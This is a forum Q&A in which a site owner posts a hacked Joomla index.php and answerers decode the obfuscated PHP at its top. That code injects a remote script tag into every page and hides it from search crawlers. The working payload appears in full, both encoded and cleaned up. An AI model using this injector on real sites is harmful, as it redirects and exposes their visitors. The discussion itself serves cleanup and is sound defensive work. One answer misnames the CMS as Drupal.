glabus
glabus

Reputation: 1

Fake antivirus redirection

My client's website was hacked, now the main URL redirects to a fake antivirus web page. So for now she has set a "contruction in progress" message with Joomla. Below is the code of the index.php page, in which I was hoping to find the damned redirection. But I can't. Can anybody help me finding it ?

    <?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXskR0xPQkFMU1snbXJfbm8nXT0xO2lmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXtmdW5jdGlvbiBnbWwoKXtpZiAoIXN0cmlzdHIoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLCJnb29nbGVib3QiKSYmKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpe3JldHVybiBiYXNlNjRfZGVjb2RlKCJQSE5qY21sd2RDQnpjbU05SW1oMGRIQTZMeTloWTNKdmMzTjFibWwyWlhKelpXbDBZbVZ2Y21jdVkyOXRMMjF0TG5Cb2NDSStQQzl6WTNKcGNIUSsiKTt9cmV0dXJuICIiO319aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0Qyl7JFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RD1Ab3JkKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywzLDEpKTskUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PTEwOyRSQTNENTJFNTJBNDg5MzZDREUwRjUzNTZCQjA4NjUyRjI9MDtpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjQpeyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9QHVucGFjaygndicsc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMTAsMikpOyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9JFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQlsxXTskUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yKyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI7fWlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmOCl7JFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7fWlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMTYpeyRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxO31pZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjIpeyRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTI7fSRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9QGd6aW5mbGF0ZShAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkpO2lmKCRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9PT1GQUxTRSl7JFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz0kUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDO31yZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mzt9fWZ1bmN0aW9uIG1yb2JoKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpe0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREU9Z3pkZWNvZGUoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qik7aWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpO31lbHNle3JldHVybiAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFLmdtbCgpO319b2Jfc3RhcnQoJ21yb2JoJyk7fX0="));?><?php
/**
* @version $Id: index.php 6022 2006-12-18 22:30:07Z friesengeist $
* @package Joomla
* @copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Set flag that this is a parent file
define( '_VALID_MOS', 1 );

// checks for configuration file, if none found loads installation page
if (!file_exists( 'configuration.php' ) || filesize( 'configuration.php' ) < 10) {
    $self = rtrim( dirname( $_SERVER['PHP_SELF'] ), '/\\' ) . '/';
    header("Location: http://" . $_SERVER['HTTP_HOST'] . $self . "installation/index.php" );
    exit();
}

require( 'globals.php' );
require_once( 'configuration.php' );

// SSL check - $http_host returns <live site url>:<port number if it is 443>
$http_host = explode(':', $_SERVER['HTTP_HOST'] );
if( (!empty( $_SERVER['HTTPS'] ) && strtolower( $_SERVER['HTTPS'] ) != 'off' || isset( $http_host[1] ) && $http_host[1] == 443) && substr( $mosConfig_live_site, 0, 8 ) != 'https://' ) {
    $mosConfig_live_site = 'https://'.substr( $mosConfig_live_site, 7 );
}

require_once( 'includes/joomla.php' );

//Installation sub folder check, removed for work with SVN
if (file_exists( 'installation/index.php' ) && $_VERSION->SVN == 0) {
    define( '_INSTALL_CHECK', 1 );
    include ( $mosConfig_absolute_path .'/offline.php');
    exit();
}

// displays offline/maintanance page or bar
if ($mosConfig_offline == 1) {
    require( $mosConfig_absolute_path .'/offline.php' );
}

// load system bot group
$_MAMBOTS->loadBotGroup( 'system' );

// trigger the onStart events
$_MAMBOTS->trigger( 'onStart' );

if (file_exists( $mosConfig_absolute_path .'/components/com_sef/sef.php' )) {
    require_once( $mosConfig_absolute_path .'/components/com_sef/sef.php' );
} else {
    require_once( $mosConfig_absolute_path .'/includes/sef.php' );
}
require_once( $mosConfig_absolute_path .'/includes/frontend.php' );

// retrieve some expected url (or form) arguments
$option = strval( strtolower( mosGetParam( $_REQUEST, 'option' ) ) );
$Itemid = intval( mosGetParam( $_REQUEST, 'Itemid', null ) );

if ($option == '') {
    if ($Itemid) {
        $query = "SELECT id, link"
        . "\n FROM #__menu"
        . "\n WHERE menutype = 'mainmenu'"
        . "\n AND id = " . (int) $Itemid
        . "\n AND published = 1"
        ;
        $database->setQuery( $query );
    } else {
        $query = "SELECT id, link"
        . "\n FROM #__menu"
        . "\n WHERE menutype = 'mainmenu'"
        . "\n AND published = 1"
        . "\n ORDER BY parent, ordering"
        ;
        $database->setQuery( $query, 0, 1 );
    }
    $menu = new mosMenu( $database );
    if ($database->loadObject( $menu )) {
        $Itemid = $menu->id;
    }
    $link = $menu->link;
    if (($pos = strpos( $link, '?' )) !== false) {
        $link = substr( $link, $pos+1 ). '&Itemid='.$Itemid;
    }
    parse_str( $link, $temp );
    /** this is a patch, need to rework when globals are handled better */
    foreach ($temp as $k=>$v) {
        $GLOBALS[$k] = $v;
        $_REQUEST[$k] = $v;
        if ($k == 'option') {
            $option = $v;
        }
    }
}
if ( !$Itemid ) {
// when no Itemid give a default value
    $Itemid = 99999999;
}

// mainframe is an API workhorse, lots of 'core' interaction routines
$mainframe = new mosMainFrame( $database, $option, '.' );
$mainframe->initSession();

// trigger the onAfterStart events
$_MAMBOTS->trigger( 'onAfterStart' );

// checking if we can find the Itemid thru the content
if ( $option == 'com_content' && $Itemid === 0 ) {
    $id     = intval( mosGetParam( $_REQUEST, 'id', 0 ) );
    $Itemid = $mainframe->getItemid( $id );
}

/** do we have a valid Itemid yet?? */
if ( $Itemid === 0 ) {
    /** Nope, just use the homepage then. */
    $query = "SELECT id"
    . "\n FROM #__menu"
    . "\n WHERE menutype = 'mainmenu'"
    . "\n AND published = 1"
    . "\n ORDER BY parent, ordering"
    ;
    $database->setQuery( $query, 0, 1 );
    $Itemid = $database->loadResult();
}

// patch to lessen the impact on templates
if ($option == 'search') {
    $option = 'com_search';
}

// loads english language file by default
if ($mosConfig_lang=='') {
    $mosConfig_lang = 'english';
}
include_once( $mosConfig_absolute_path .'/language/' . $mosConfig_lang . '.php' );

// frontend login & logout controls
$return     = strval( mosGetParam( $_REQUEST, 'return', NULL ) );
$message    = intval( mosGetParam( $_POST, 'message', 0 ) );
if ($option == 'login') {
    $mainframe->login();

    // JS Popup message
    if ( $message ) {
        ?>
        <script language="javascript" type="text/javascript">
        <!--//
        alert( "<?php echo addslashes( _LOGIN_SUCCESS ); ?>" );
        //-->
        </script>
        <?php
    }

    if ( $return && !( strpos( $return, 'com_registration' ) || strpos( $return, 'com_login' ) ) ) {
    // checks for the presence of a return url
    // and ensures that this url is not the registration or login pages
        // If a sessioncookie exists, redirect to the given page. Otherwise, take an extra round for a cookiecheck
        if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
            mosRedirect( $return );
        } else {
            mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $return ) );
        }
    } else {
        // If a sessioncookie exists, redirect to the start page. Otherwise, take an extra round for a cookiecheck
        if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
            mosRedirect( $mosConfig_live_site .'/index.php' );
        } else {
            mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $mosConfig_live_site .'/index.php' ) );
        }
    }

} else if ($option == 'logout') {
    $mainframe->logout();

    // JS Popup message
    if ( $message ) {
        ?>
        <script language="javascript" type="text/javascript">
        <!--//
        alert( "<?php echo addslashes( _LOGOUT_SUCCESS ); ?>" );
        //-->
        </script>
        <?php
    }

    if ( $return && !( strpos( $return, 'com_registration' ) || strpos( $return, 'com_login' ) ) ) {
    // checks for the presence of a return url
    // and ensures that this url is not the registration or logout pages
        mosRedirect( $return );
    } else {
        mosRedirect( $mosConfig_live_site.'/index.php' );
    }
} else if ($option == 'cookiecheck') {
    // No cookie was set upon login. If it is set now, redirect to the given page. Otherwise, show error message.
    if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
        mosRedirect( $return );
    } else {
        mosErrorAlert( _ALERT_ENABLED );
    }
}

/** get the information about the current user from the sessions table */
$my = $mainframe->getUser();

// detect first visit
$mainframe->detect();

// set for overlib check
$mainframe->set( 'loadOverlib', false );

$gid = intval( $my->gid );

// gets template for page
$cur_template = $mainframe->getTemplate();
/** temp fix - this feature is currently disabled */

/** @global A places to store information from processing of the component */
$_MOS_OPTION = array();

// precapture the output of the component
require_once( $mosConfig_absolute_path . '/editor/editor.php' );

ob_start();

if ($path = $mainframe->getPath( 'front' )) {
    $task   = strval( mosGetParam( $_REQUEST, 'task', '' ) );
    $ret    = mosMenuCheck( $Itemid, $option, $task, $gid );

    if ($ret) {
        require_once( $path );
    } else {
        mosNotAuth();
    }
} else {
    header( 'HTTP/1.0 404 Not Found' );
    echo _NOT_EXIST;
}

$_MOS_OPTION['buffer'] = ob_get_contents();

ob_end_clean();

initGzip();

header( 'Expires: Mon, 26 Jul 1997 05:00:00 GMT' );
header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
header( 'Cache-Control: no-store, no-cache, must-revalidate' );
header( 'Cache-Control: post-check=0, pre-check=0', false );
header( 'Pragma: no-cache' );

// display the offline alert if an admin is logged in
if (defined( '_ADMIN_OFFLINE' )) {
    include( $mosConfig_absolute_path .'/offlinebar.php' );
}

// loads template file
if ( !file_exists( $mosConfig_absolute_path .'/templates/'. $cur_template .'/index.php' ) ) {
    echo _TEMPLATE_WARN . $cur_template;
} else {
    require_once( $mosConfig_absolute_path .'/templates/'. $cur_template .'/index.php' );
    echo '<!-- '. time() .' -->';
}

// displays queries performed for page
if ($mosConfig_debug) {
    echo $database->_ticker . ' queries executed';
    echo '<pre>';
    foreach ($database->_log as $k=>$sql) {
        echo $k+1 . "\n" . $sql . '<hr />';
    }
    echo '</pre>';
}

doGzip();
?>

Upvotes: 0

Views: 647

Answers (3)

k0pernikus
k0pernikus

Reputation: 66717

You got hacked. You cannot trust any code on your server anymore. Nuke it. Redeploy your current version. Work on a hotfix to fix the security flaw, e.g. upgrade Joomla to its newest version, and do another deploy.

Just editing your hacked codebase is asking for trouble. Don't do that.

The security issue is still there and you don't know what else got put in place on your server.

Upvotes: 1

CompuChip
CompuChip

Reputation: 9232

So assuming you want to understand how that single line works, I went and decoded the base 64 string that is being evaluated as PHP code. It gives the following code

if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){$GLOBALS['mr_no']=1;if(!function_exists('mrobh')){if(!function_exists('gml')){function gml(){if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&&(!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9hY3Jvc3N1bml2ZXJzZWl0YmVvcmcuY29tL21tLnBocCI+PC9zY3JpcHQ+");}return "";}}if(!function_exists('gzdecode')){function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){$R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1));$RBE4C4D037E939226F65812885A53DAD9=10;$RA3D52E52A48936CDE0F5356BB08652F2=0;if($R30B2AB8DC1496D06B230A71D8962AF5D&4){$R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2));$R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1];$RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB;}if($R30B2AB8DC1496D06B230A71D8962AF5D&8){$RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;}if($R30B2AB8DC1496D06B230A71D8962AF5D&16){$RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;}if($R30B2AB8DC1496D06B230A71D8962AF5D&2){$RBE4C4D037E939226F65812885A53DAD9+=2;}$R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9));if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){$R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C;}return $R034AE2AB94F99CC81B389A1822DA3353;}}function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){Header('Content-Encoding: none');$RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B);if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE);}else{return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml();}}ob_start('mrobh');}}

All the whitespace is stripped from it and the variables have names like $RA179ABD3A7B9E28C369F7B59C51B81DE. After cleaning this up a bit, the code looks as follows:

<?php

if (function_exists('ob_start') && !isset($GLOBALS['mr_no'])) {
    $GLOBALS['mr_no'] = 1;
    if (!function_exists('mrobh')) {
        if (!function_exists('gml')) {
            function gml()
            {
                if (!stristr($_SERVER["HTTP_USER_AGENT"], "googlebot") && (!stristr($_SERVER["HTTP_USER_AGENT"], "yahoo"))) {
                    return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9hY3Jvc3N1bml2ZXJzZWl0YmVvcmcuY29tL21tLnBocCI+PC9zY3JpcHQ+");
                }

                return "";
            }
        }

        if (!function_exists('gzdecode')) {
            function gzdecode($encoded)
            {
                $bitmask = @ord(@substr($encoded, 3, 1));
                $ten = 10;
                $zero = 0;
                if ($bitmask & 4) {
                    $temp = @unpack('v', substr($encoded, 10, 2));
                    $temp = $temp[1];
                    $ten += 2 + $temp;
                }

                if ($bitmask & 8) {
                    $ten = @strpos($encoded, chr(0) , $ten) + 1;
                }

                if ($bitmask & 16) {
                    $ten = @strpos($encoded, chr(0) , $ten) + 1;
                }

                if ($bitmask & 2) {
                    $ten+= 2;
                }

                $inflated = @gzinflate(@substr($encoded, $ten));
                if ($inflated === FALSE) {
                    $inflated = $encoded;
                }

                return $inflated;
            }
        }

        function mrobh($input)
        {
            Header('Content-Encoding: none');
            $decoded = gzdecode($input);
            if (preg_match('/\<\/body/si', $decoded)) {
                return preg_replace('/(\<\/body[^\>]*\>)/si', gml() . "\n" . '$1', $decoded);
            }
            else {
                return $decoded . gml();
            }
        }

        ob_start('mrobh');
    }
}

A lot of this code consists of guards: a global is set so that the code is executed only once, even if the statement would occur multiple times, and it makes sure that all the functions are defined once and exactly once.

The crux is in the final line: it uses the ob_start function to make sure that the mrobh function is executed

when the output buffer is flushed (sent) or cleaned (with ob_flush(), ob_clean() or similar function) or when the output buffer is flushed to the browser at the end of the request.

This means that instead of outputting the result of the original script directly, all the generated output is buffered and passed to mrobh at the end.

Note how the original script ends with doGzip();, so all the HTML that the mrobh function receives is gzipped. Hence, the first thing it needs to do is decode it, which is where the gzdecode function comes in. After that $decode has the plain HTML output of the default Joomla script, which probably has a <html> tag with a <head> and a <body>. In that case, there should also be a </body> tag. In the final if statement, that closing tag is replaced by the output of the gml() function. That function again decodes a base 64 string, which turns out to be

<script src="http://***URL censored***"></script>

so instead of

    regular output...
  </body>
</html>

the end of the output now looks like

    regular output...
    <script src="http://***URL censored***"></script>
  </body>
</html>

so that the script at that URL will be loaded as the browser parses the returned HTML.

Note that the gml function has an additional guard to make sure that whenever Google or Yahoo bots visit the page, the redirect does not take place - these search engines would detect that something malicious is going on and warn the user (if the user uses Chrome, even before actually visiting the page). The else clause in mrobh is just another safeguard in case the HTML does not contain a </body> tag - in that case the script tag is just appended at the end of whatever output there is, assuming that the browser will render it as HTML.

So what you end up with is your regular page, with an additional script tag. (Un)fortunately the domain it tries to load the JavaScript from does not seem to exist any longer, so we cannot see what the script did, but since you said users were redirected away from your site, it's safe to assume that it contained some tracking code followed by a

window.location.href = "http://mymaliciouspage";

TL;DR The first line contains the malicious code that cleverly manipulates your page's output to redirect the user (but not any search engine bots).

Solution: Just replace the whole first line with the original <?php (which you still see at the end of the bad code) and you will fix this problem (look into your server security and update Joomla to avoid getting hit again though).

Upvotes: 2

Winfield Trail
Winfield Trail

Reputation: 5695

That bit at the beginning with the exec(base64_decode()) nonsense is your target. Not a part of your CMS, skeezy as hell.

Delete it and rejoice. And then update the Drupal instance, change the root and user passwords, and subscribe to Drupal dev's update RSS so you can stop this happening again.

Upvotes: 3

Related Questions